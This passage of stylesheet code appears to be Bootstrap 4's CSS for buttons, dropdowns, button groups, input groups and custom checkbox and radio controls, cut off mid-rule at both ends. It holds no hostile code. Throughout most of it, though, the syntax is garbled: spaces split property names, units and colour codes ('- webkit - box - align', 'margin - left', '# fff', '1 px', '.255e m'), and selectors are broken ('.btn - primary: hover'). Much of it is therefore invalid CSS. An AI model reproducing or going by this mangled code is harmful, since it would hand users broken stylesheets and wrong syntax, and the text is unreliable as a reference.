        display: flex; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center;
        width: auto;
        padding - left: 0
    }

    .form - inline.form - check - input {
        position: relative;
        margin - top: 0;
        margin - right: .25 rem;
        margin - left: 0
    }

    .form - inline.custom - control {
        -webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center
    }

    .form - inline.custom - control - label {
        margin - bottom: 0
    }
}

.btn {
    display: inline - block;
    font - weight: 400;
    text - align: center;
    white - space: nowrap;
    vertical - align: middle; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
    user - select: none;
    border: 1 px solid transparent;
    padding: .375 rem.75 rem;
    font - size: 1 rem;
    line - height: 1.5;
    border - radius: .25 rem;
    transition: color.15 s ease - in -out,
    background - color.15 s ease - in -out,
    border - color.15 s ease - in -out,
    box - shadow.15 s ease - in -out
}

.btn: focus,
    .btn: hover {
        text - decoration: none
    }

.btn.focus,
    .btn: focus {
        outline: 0;
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
    }

.btn.disabled,
    .btn: disabled {
        opacity: .65
    }

.btn: not(: disabled): not(.disabled) {
    cursor: pointer
}

.btn: not(: disabled): not(.disabled).active,
    .btn: not(: disabled): not(.disabled): active {
        background - image: none
    }

a.btn.disabled,
    fieldset: disabled a.btn {
        pointer - events: none
    }

.btn - primary {
    color: # fff;
    background - color: #007bff;
        border-color: # 007 bff
}

.btn - primary: hover {
    color: # fff;
    background - color: #0069d9;
        border-color: # 0062 cc
}

.btn - primary.focus,
    .btn - primary: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - primary.disabled,
    .btn - primary: disabled {
        color: # fff;
        background - color: #007bff;
        border-color: # 007 bff
    }

.btn - primary: not(: disabled): not(.disabled).active,
    .btn - primary: not(: disabled): not(.disabled): active,
    .show > .btn - primary.dropdown - toggle {
        color: # fff;
        background - color: #0062cc;
        border-color: # 005 cbf
    }

.btn - primary: not(: disabled): not(.disabled).active: focus,
    .btn - primary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - primary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - secondary {
    color: # fff;
    background - color: #6c757d;
        border-color: # 6 c757d
}

.btn - secondary: hover {
    color: # fff;
    background - color: #5a6268;
        border-color: # 545 b62
}

.btn - secondary.focus,
    .btn - secondary: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - secondary.disabled,
    .btn - secondary: disabled {
        color: # fff;
        background - color: #6c757d;
        border-color: # 6 c757d
    }

.btn - secondary: not(: disabled): not(.disabled).active,
    .btn - secondary: not(: disabled): not(.disabled): active,
    .show > .btn - secondary.dropdown - toggle {
        color: # fff;
        background - color: #545b62;
        border-color: # 4e555 b
    }

.btn - secondary: not(: disabled): not(.disabled).active: focus,
    .btn - secondary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - secondary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - success {
    color: # fff;
    background - color: #28a745;
        border-color: # 28 a745
}

.btn - success: hover {
    color: # fff;
    background - color: #218838;
        border-color: # 1e7 e34
}

.btn - success.focus,
    .btn - success: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - success.disabled,
    .btn - success: disabled {
        color: # fff;
        background - color: #28a745;
        border-color: # 28 a745
    }

.btn - success: not(: disabled): not(.disabled).active,
    .btn - success: not(: disabled): not(.disabled): active,
    .show > .btn - success.dropdown - toggle {
        color: # fff;
        background - color: #1e7e34;
        border-color: # 1 c7430
    }

.btn - success: not(: disabled): not(.disabled).active: focus,
    .btn - success: not(: disabled): not(.disabled): active: focus,
    .show > .btn - success.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - info {
    color: # fff;
    background - color: #17a2b8;
        border-color: # 17 a2b8
}

.btn - info: hover {
    color: # fff;
    background - color: #138496;
        border-color: # 117 a8b
}

.btn - info.focus,
    .btn - info: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - info.disabled,
    .btn - info: disabled {
        color: # fff;
        background - color: #17a2b8;
        border-color: # 17 a2b8
    }

.btn - info: not(: disabled): not(.disabled).active,
    .btn - info: not(: disabled): not(.disabled): active,
    .show > .btn - info.dropdown - toggle {
        color: # fff;
        background - color: #117a8b;
        border-color: # 10707 f
    }

.btn - info: not(: disabled): not(.disabled).active: focus,
    .btn - info: not(: disabled): not(.disabled): active: focus,
    .show > .btn - info.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - warning {
    color: #212529;
        background-color: # ffc107;
    border - color: # ffc107
}

.btn - warning: hover {
    color: #212529;
        background-color: # e0a800;
    border - color: # d39e00
}

.btn - warning.focus,
    .btn - warning: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - warning.disabled,
    .btn - warning: disabled {
        color: #212529;
        background-color: # ffc107;
        border - color: # ffc107
    }

.btn - warning: not(: disabled): not(.disabled).active,
    .btn - warning: not(: disabled): not(.disabled): active,
    .show > .btn - warning.dropdown - toggle {
        color: #212529;
        background-color: # d39e00;
        border - color: # c69500
    }

.btn - warning: not(: disabled): not(.disabled).active: focus,
    .btn - warning: not(: disabled): not(.disabled): active: focus,
    .show > .btn - warning.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - danger {
    color: # fff;
    background - color: # dc3545;
    border - color: # dc3545
}

.btn - danger: hover {
    color: # fff;
    background - color: # c82333;
    border - color: # bd2130
}

.btn - danger.focus,
    .btn - danger: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - danger.disabled,
    .btn - danger: disabled {
        color: # fff;
        background - color: # dc3545;
        border - color: # dc3545
    }

.btn - danger: not(: disabled): not(.disabled).active,
    .btn - danger: not(: disabled): not(.disabled): active,
    .show > .btn - danger.dropdown - toggle {
        color: # fff;
        background - color: # bd2130;
        border - color: # b21f2d
    }

.btn - danger: not(: disabled): not(.disabled).active: focus,
    .btn - danger: not(: disabled): not(.disabled): active: focus,
    .show > .btn - danger.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - light {
    color: #212529;
        background-color: # f8f9fa;
    border - color: # f8f9fa
}

.btn - light: hover {
    color: #212529;
        background-color: # e2e6ea;
    border - color: # dae0e5
}

.btn - light.focus,
    .btn - light: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - light.disabled,
    .btn - light: disabled {
        color: #212529;
        background-color: # f8f9fa;
        border - color: # f8f9fa
    }

.btn - light: not(: disabled): not(.disabled).active,
    .btn - light: not(: disabled): not(.disabled): active,
    .show > .btn - light.dropdown - toggle {
        color: #212529;
        background-color: # dae0e5;
        border - color: # d3d9df
    }

.btn - light: not(: disabled): not(.disabled).active: focus,
    .btn - light: not(: disabled): not(.disabled): active: focus,
    .show > .btn - light.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - dark {
    color: # fff;
    background - color: #343a40;
        border-color: # 343 a40
}

.btn - dark: hover {
    color: # fff;
    background - color: #23272b;
        border-color: # 1 d2124
}

.btn - dark.focus,
    .btn - dark: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - dark.disabled,
    .btn - dark: disabled {
        color: # fff;
        background - color: #343a40;
        border-color: # 343 a40
    }

.btn - dark: not(: disabled): not(.disabled).active,
    .btn - dark: not(: disabled): not(.disabled): active,
    .show > .btn - dark.dropdown - toggle {
        color: # fff;
        background - color: #1d2124;
        border-color: # 171 a1d
    }

.btn - dark: not(: disabled): not(.disabled).active: focus,
    .btn - dark: not(: disabled): not(.disabled): active: focus,
    .show > .btn - dark.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - outline - primary {
    color: #007bff;
        background-color: transparent;
        background-image: none;
        border-color: # 007 bff
}

.btn - outline - primary: hover {
    color: # fff;
    background - color: #007bff;
        border-color: # 007 bff
}

.btn - outline - primary.focus,
    .btn - outline - primary: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - outline - primary.disabled,
    .btn - outline - primary: disabled {
        color: #007bff;
        background-color: transparent
    }

    .btn-outline-primary:not(:disabled):not(.disabled).active,
    .btn-outline-primary:not(:disabled):not(.disabled):active,
    .show>.btn-outline-primary.dropdown-toggle {
        color: # fff;
        background - color: #007bff;
        border-color: # 007 bff
    }

.btn - outline - primary: not(: disabled): not(.disabled).active: focus,
    .btn - outline - primary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - primary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - outline - secondary {
    color: #6c757d;
        background-color: transparent;
        background-image: none;
        border-color: # 6 c757d
}

.btn - outline - secondary: hover {
    color: # fff;
    background - color: #6c757d;
        border-color: # 6 c757d
}

.btn - outline - secondary.focus,
    .btn - outline - secondary: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - outline - secondary.disabled,
    .btn - outline - secondary: disabled {
        color: #6c757d;
        background-color: transparent
    }

    .btn-outline-secondary:not(:disabled):not(.disabled).active,
    .btn-outline-secondary:not(:disabled):not(.disabled):active,
    .show>.btn-outline-secondary.dropdown-toggle {
        color: # fff;
        background - color: #6c757d;
        border-color: # 6 c757d
    }

.btn - outline - secondary: not(: disabled): not(.disabled).active: focus,
    .btn - outline - secondary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - secondary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - outline - success {
    color: #28a745;
        background-color: transparent;
        background-image: none;
        border-color: # 28 a745
}

.btn - outline - success: hover {
    color: # fff;
    background - color: #28a745;
        border-color: # 28 a745
}

.btn - outline - success.focus,
    .btn - outline - success: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - outline - success.disabled,
    .btn - outline - success: disabled {
        color: #28a745;
        background-color: transparent
    }

    .btn-outline-success:not(:disabled):not(.disabled).active,
    .btn-outline-success:not(:disabled):not(.disabled):active,
    .show>.btn-outline-success.dropdown-toggle {
        color: # fff;
        background - color: #28a745;
        border-color: # 28 a745
    }

.btn - outline - success: not(: disabled): not(.disabled).active: focus,
    .btn - outline - success: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - success.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - outline - info {
    color: #17a2b8;
        background-color: transparent;
        background-image: none;
        border-color: # 17 a2b8
}

.btn - outline - info: hover {
    color: # fff;
    background - color: #17a2b8;
        border-color: # 17 a2b8
}

.btn - outline - info.focus,
    .btn - outline - info: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - outline - info.disabled,
    .btn - outline - info: disabled {
        color: #17a2b8;
        background-color: transparent
    }

    .btn-outline-info:not(:disabled):not(.disabled).active,
    .btn-outline-info:not(:disabled):not(.disabled):active,
    .show>.btn-outline-info.dropdown-toggle {
        color: # fff;
        background - color: #17a2b8;
        border-color: # 17 a2b8
    }

.btn - outline - info: not(: disabled): not(.disabled).active: focus,
    .btn - outline - info: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - info.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - outline - warning {
    color: # ffc107;
    background - color: transparent;
    background - image: none;
    border - color: # ffc107
}

.btn - outline - warning: hover {
    color: #212529;
        background-color: # ffc107;
    border - color: # ffc107
}

.btn - outline - warning.focus,
    .btn - outline - warning: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - outline - warning.disabled,
    .btn - outline - warning: disabled {
        color: # ffc107;
        background - color: transparent
    }

.btn - outline - warning: not(: disabled): not(.disabled).active,
    .btn - outline - warning: not(: disabled): not(.disabled): active,
    .show > .btn - outline - warning.dropdown - toggle {
        color: #212529;
        background-color: # ffc107;
        border - color: # ffc107
    }

.btn - outline - warning: not(: disabled): not(.disabled).active: focus,
    .btn - outline - warning: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - warning.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - outline - danger {
    color: # dc3545;
    background - color: transparent;
    background - image: none;
    border - color: # dc3545
}

.btn - outline - danger: hover {
    color: # fff;
    background - color: # dc3545;
    border - color: # dc3545
}

.btn - outline - danger.focus,
    .btn - outline - danger: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - outline - danger.disabled,
    .btn - outline - danger: disabled {
        color: # dc3545;
        background - color: transparent
    }

.btn - outline - danger: not(: disabled): not(.disabled).active,
    .btn - outline - danger: not(: disabled): not(.disabled): active,
    .show > .btn - outline - danger.dropdown - toggle {
        color: # fff;
        background - color: # dc3545;
        border - color: # dc3545
    }

.btn - outline - danger: not(: disabled): not(.disabled).active: focus,
    .btn - outline - danger: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - danger.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - outline - light {
    color: # f8f9fa;
    background - color: transparent;
    background - image: none;
    border - color: # f8f9fa
}

.btn - outline - light: hover {
    color: #212529;
        background-color: # f8f9fa;
    border - color: # f8f9fa
}

.btn - outline - light.focus,
    .btn - outline - light: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - outline - light.disabled,
    .btn - outline - light: disabled {
        color: # f8f9fa;
        background - color: transparent
    }

.btn - outline - light: not(: disabled): not(.disabled).active,
    .btn - outline - light: not(: disabled): not(.disabled): active,
    .show > .btn - outline - light.dropdown - toggle {
        color: #212529;
        background-color: # f8f9fa;
        border - color: # f8f9fa
    }

.btn - outline - light: not(: disabled): not(.disabled).active: focus,
    .btn - outline - light: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - light.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - outline - dark {
    color: #343a40;
        background-color: transparent;
        background-image: none;
        border-color: # 343 a40
}

.btn - outline - dark: hover {
    color: # fff;
    background - color: #343a40;
        border-color: # 343 a40
}

.btn - outline - dark.focus,
    .btn - outline - dark: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - outline - dark.disabled,
    .btn - outline - dark: disabled {
        color: #343a40;
        background-color: transparent
    }

    .btn-outline-dark:not(:disabled):not(.disabled).active,
    .btn-outline-dark:not(:disabled):not(.disabled):active,
    .show>.btn-outline-dark.dropdown-toggle {
        color: # fff;
        background - color: #343a40;
        border-color: # 343 a40
    }

.btn - outline - dark: not(: disabled): not(.disabled).active: focus,
    .btn - outline - dark: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - dark.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - link {
    font - weight: 400;
    color: #007bff;
        background-color: transparent
    }

    .btn-link:hover {
        color: # 0056 b3;
    text - decoration: underline;
    background - color: transparent;
    border - color: transparent
}

.btn - link.focus,
    .btn - link: focus {
        text - decoration: underline;
        border - color: transparent;
        box - shadow: none
    }

.btn - link.disabled,
    .btn - link: disabled {
        color: #6c757d
    }

    .btn-group-lg>.btn,
    .btn-lg {
        padding: .5rem 1rem;
        font-size: 1.25rem;
        line-height: 1.5;
        border-radius: .3rem
    }

    .btn-group-sm>.btn,
    .btn-sm {
        padding: .25rem .5rem;
        font-size: .875rem;
        line-height: 1.5;
        border-radius: .2rem
    }

    .btn-block {
        display: block;
        width: 100%
    }

    .btn-block+.btn-block {
        margin-top: .5rem
    }

    input[type= button].btn - block,
    input[type = reset].btn - block,
    input[type = submit].btn - block {
        width: 100 %
    }

.fade {
    opacity: 0;
    transition: opacity.15 s linear
}

.fade.show {
    opacity: 1
}

.collapse {
    display: none
}

.collapse.show {
    display: block
}

tr.collapse.show {
    display: table - row
}

tbody.collapse.show {
    display: table - row - group
}

.collapsing {
    position: relative;
    height: 0;
    overflow: hidden;
    transition: height.35 s ease
}

.dropdown,
.dropup {
    position: relative
}

.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid;
    border - right: .3e m solid transparent;
    border - bottom: 0;
    border - left: .3e m solid transparent
}

.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropdown - menu {
    position: absolute;
    top: 100 % ;
    left: 0;
    z - index: 1000;
    display: none;
    float: left;
    min - width: 10 rem;
    padding: .5 rem 0;
    margin: .125 rem 0 0;
    font - size: 1 rem;
    color: #212529;
        text-align: left;
        list-style: none;
        background-color: # fff;
    background - clip: padding - box;
    border: 1 px solid rgba(0, 0, 0, .15);
    border - radius: .25 rem
}

.dropup.dropdown - menu {
    margin - top: 0;
    margin - bottom: .125 rem
}

.dropup.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: 0;
    border - right: .3e m solid transparent;
    border - bottom: .3e m solid;
    border - left: .3e m solid transparent
}

.dropup.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropright.dropdown - menu {
    margin - top: 0;
    margin - left: .125 rem
}

.dropright.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid transparent;
    border - bottom: .3e m solid transparent;
    border - left: .3e m solid
}

.dropright.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropright.dropdown - toggle::after {
    vertical - align: 0
}

.dropleft.dropdown - menu {
    margin - top: 0;
    margin - right: .125 rem
}

.dropleft.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: ""
}

.dropleft.dropdown - toggle::after {
    display: none
}

.dropleft.dropdown - toggle::before {
    display: inline - block;
    width: 0;
    height: 0;
    margin - right: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid transparent;
    border - right: .3e m solid;
    border - bottom: .3e m solid transparent
}

.dropleft.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropleft.dropdown - toggle::before {
    vertical - align: 0
}

.dropdown - divider {
    height: 0;
    margin: .5 rem 0;
    overflow: hidden;
    border - top: 1 px solid # e9ecef
}

.dropdown - item {
    display: block;
    width: 100 % ;
    padding: .25 rem 1.5 rem;
    clear: both;
    font - weight: 400;
    color: #212529;
        text-align: inherit;
        white-space: nowrap;
        background-color: transparent;
        border: 0
    }

    .dropdown-item:focus,
    .dropdown-item:hover {
        color: # 16181 b;
    text - decoration: none;
    background - color: # f8f9fa
}

.dropdown - item.active,
    .dropdown - item: active {
        color: # fff;
        text - decoration: none;
        background - color: #007bff
    }

    .dropdown-item.disabled,
    .dropdown-item:disabled {
        color: # 6 c757d;
        background - color: transparent
    }

.dropdown - menu.show {
    display: block
}

.dropdown - header {
        display: block;
        padding: .5 rem 1.5 rem;
        margin - bottom: 0;
        font - size: .875 rem;
        color: #6c757d;
        white-space: nowrap
    }

    .btn-group,
    .btn-group-vertical {
        position: relative;
        display: -webkit-inline-box;
        display: -ms-inline-flexbox;
        display: inline-flex;
        vertical-align: middle
    }

    .btn-group-vertical>.btn,
    .btn-group>.btn {
        position: relative;
        -webkit-box-flex: 0;
        -ms-flex: 0 1 auto;
        flex: 0 1 auto
    }

    .btn-group-vertical>.btn:hover,
    .btn-group>.btn:hover {
        z-index: 1
    }

    .btn-group-vertical>.btn.active,
    .btn-group-vertical>.btn:active,
    .btn-group-vertical>.btn:focus,
    .btn-group>.btn.active,
    .btn-group>.btn:active,
    .btn-group>.btn:focus {
        z-index: 1
    }

    .btn-group .btn+.btn,
    .btn-group .btn+.btn-group,
    .btn-group .btn-group+.btn,
    .btn-group .btn-group+.btn-group,
    .btn-group-vertical .btn+.btn,
    .btn-group-vertical .btn+.btn-group,
    .btn-group-vertical .btn-group+.btn,
    .btn-group-vertical .btn-group+.btn-group {
        margin-left: -1px
    }

    .btn-toolbar {
        display: -webkit-box;
        display: -ms-flexbox;
        display: flex;
        -ms-flex-wrap: wrap;
        flex-wrap: wrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
    }

    .btn-toolbar .input-group {
        width: auto
    }

    .btn-group>.btn:first-child {
        margin-left: 0
    }

    .btn-group>.btn-group:not(:last-child)>.btn,
    .btn-group>.btn:not(:last-child):not(.dropdown-toggle) {
        border-top-right-radius: 0;
        border-bottom-right-radius: 0
    }

    .btn-group>.btn-group:not(:first-child)>.btn,
    .btn-group>.btn:not(:first-child) {
        border-top-left-radius: 0;
        border-bottom-left-radius: 0
    }

    .dropdown-toggle-split {
        padding-right: .5625rem;
        padding-left: .5625rem
    }

    .dropdown-toggle-split::after {
        margin-left: 0
    }

    .btn-group-sm>.btn+.dropdown-toggle-split,
    .btn-sm+.dropdown-toggle-split {
        padding-right: .375rem;
        padding-left: .375rem
    }

    .btn-group-lg>.btn+.dropdown-toggle-split,
    .btn-lg+.dropdown-toggle-split {
        padding-right: .75rem;
        padding-left: .75rem
    }

    .btn-group-vertical {
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -ms-flex-direction: column;
        flex-direction: column;
        -webkit-box-align: start;
        -ms-flex-align: start;
        align-items: flex-start;
        -webkit-box-pack: center;
        -ms-flex-pack: center;
        justify-content: center
    }

    .btn-group-vertical .btn,
    .btn-group-vertical .btn-group {
        width: 100%
    }

    .btn-group-vertical>.btn+.btn,
    .btn-group-vertical>.btn+.btn-group,
    .btn-group-vertical>.btn-group+.btn,
    .btn-group-vertical>.btn-group+.btn-group {
        margin-top: -1px;
        margin-left: 0
    }

    .btn-group-vertical>.btn-group:not(:last-child)>.btn,
    .btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle) {
        border-bottom-right-radius: 0;
        border-bottom-left-radius: 0
    }

    .btn-group-vertical>.btn-group:not(:first-child)>.btn,
    .btn-group-vertical>.btn:not(:first-child) {
        border-top-left-radius: 0;
        border-top-right-radius: 0
    }

    .btn-group-toggle>.btn,
    .btn-group-toggle>.btn-group>.btn {
        margin-bottom: 0
    }

    .btn-group-toggle>.btn input[type= checkbox],
    .btn - group - toggle > .btn input[type = radio],
    .btn - group - toggle > .btn - group > .btn input[type = checkbox],
    .btn - group - toggle > .btn - group > .btn input[type = radio] {
        position: absolute;
        clip: rect(0, 0, 0, 0);
        pointer - events: none
    }

.input - group {
    position: relative;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap; - webkit - box - align: stretch; - ms - flex - align: stretch;
    align - items: stretch;
    width: 100 %
}

.input - group > .custom - file,
    .input - group > .custom - select,
    .input - group > .form - control {
        position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
        flex: 1 1 auto;
        width: 1 % ;
        margin - bottom: 0
    }

.input - group > .custom - file: focus,
    .input - group > .custom - select: focus,
    .input - group > .form - control: focus {
        z - index: 3
    }

.input - group > .custom - file + .custom - file,
    .input - group > .custom - file + .custom - select,
    .input - group > .custom - file + .form - control,
    .input - group > .custom - select + .custom - file,
    .input - group > .custom - select + .custom - select,
    .input - group > .custom - select + .form - control,
    .input - group > .form - control + .custom - file,
    .input - group > .form - control + .custom - select,
    .input - group > .form - control + .form - control {
        margin - left: -1 px
    }

.input - group > .custom - select: not(: last - child),
    .input - group > .form - control: not(: last - child) {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .custom - select: not(: first - child),
    .input - group > .form - control: not(: first - child) {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.input - group > .custom - file {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center
}

.input - group > .custom - file: not(: last - child).custom - file - label,
    .input - group > .custom - file: not(: last - child).custom - file - label::before {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .custom - file: not(: first - child).custom - file - label,
    .input - group > .custom - file: not(: first - child).custom - file - label::before {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.input - group - append,
    .input - group - prepend {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex
    }

.input - group - append.btn,
    .input - group - prepend.btn {
        position: relative;
        z - index: 2
    }

.input - group - append.btn + .btn,
    .input - group - append.btn + .input - group - text,
    .input - group - append.input - group - text + .btn,
    .input - group - append.input - group - text + .input - group - text,
    .input - group - prepend.btn + .btn,
    .input - group - prepend.btn + .input - group - text,
    .input - group - prepend.input - group - text + .btn,
    .input - group - prepend.input - group - text + .input - group - text {
        margin - left: -1 px
    }

.input - group - prepend {
    margin - right: -1 px
}

.input - group - append {
    margin - left: -1 px
}

.input - group - text {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center;
    padding: .375 rem.75 rem;
    margin - bottom: 0;
    font - size: 1 rem;
    font - weight: 400;
    line - height: 1.5;
    color: #495057;
        text-align: center;
        white-space: nowrap;
        background-color: # e9ecef;
    border: 1 px solid # ced4da;
    border - radius: .25 rem
}

.input - group - text input[type = checkbox],
    .input - group - text input[type = radio] {
        margin - top: 0
    }

.input - group > .input - group - append: last - child > .btn: not(: last - child): not(.dropdown - toggle),
    .input - group > .input - group - append: last - child > .input - group - text: not(: last - child),
    .input - group > .input - group - append: not(: last - child) > .btn,
    .input - group > .input - group - append: not(: last - child) > .input - group - text,
    .input - group > .input - group - prepend > .btn,
    .input - group > .input - group - prepend > .input - group - text {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .input - group - append > .btn,
    .input - group > .input - group - append > .input - group - text,
    .input - group > .input - group - prepend: first - child > .btn: not(: first - child),
    .input - group > .input - group - prepend: first - child > .input - group - text: not(: first - child),
    .input - group > .input - group - prepend: not(: first - child) > .btn,
    .input - group > .input - group - prepend: not(: first - child) > .input - group - text {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.custom - control {
    position: relative;
    display: block;
    min - height: 1.5 rem;
    padding - left: 1.5 rem
}

.custom - control - inline {
    display: -webkit - inline - box;
    display: -ms - inline - flexbox;
    display: inline - flex;
    margin - right: 1 rem
}

.custom - control - input {
    position: absolute;
    z - index: -1;
    opacity: 0
}

.custom - control - input: checked~.custom - control - label::before {
    color: # fff;
    background - color: #007bff
    }

    .custom-control-input:focus~.custom-control-label::before {
        box-shadow: 0 0 0 1px # fff,
    0 0 0.2 rem rgba(0, 123, 255, .25)
}

.custom - control - input: active~.custom - control - label::before {
    color: # fff;
    background - color: # b3d7ff
}

.custom - control - input: disabled~.custom - control - label {
    color: #6c757d
    }

    .custom-control-input:disabled~.custom-control-label::before {
        background-color: # e9ecef
}

.custom - control - label {
    margin - bottom: 0
}

.custom - control - label::before {
    position: absolute;
    top: .25 rem;
    left: 0;
    display: block;
    width: 1 rem;
    height: 1 rem;
    pointer - events: none;
    content: ""; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
    user - select: none;
    background - color: # dee2e6
}

.custom - control - label::after {
    position: absolute;
    top: .25 rem;
    left: 0;
    display: block;
    width: 1 rem;
    height: 1 rem;
    content: "";
    background - repeat: no - repeat;
    background - position: center center;
    background - size: 50 % 50 %
}

.custom - checkbox.custom - control - label::before {
    border - radius: .25 rem
}

.custom - checkbox.custom - control - input: checked~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-checkbox .custom-control-input:checked~.custom-control-label::after {
        background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '0 0 8 8' % 3E % 3 Cpath fill = '%23fff'
    d = 'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z' / % 3E % 3 C / svg % 3E ")
}

.custom - checkbox.custom - control - input: indeterminate~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after {
        background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '0 0 4 4' % 3E % 3 Cpath stroke = '%23fff'
    d = 'M0 2h4' / % 3E % 3 C / svg % 3E ")
}

.custom - checkbox.custom - control - input: disabled: checked~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - checkbox.custom - control - input: disabled: indeterminate~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - radio.custom - control - label::before {
    border - radius: 50 %
}

.custom - radio.custom - control - input: checked~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-radio .custom-control-input:checked~.custom-control-label::after {
        background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '-4 -4 8 8' % 3E % 3 Ccircle r = '3'
    fill = '%23fff' / % 3E % 3 C / svg % 3E ")
}

.custom - radio.custom - control - input: disabled: checked~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - select {
    display: inline - block;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
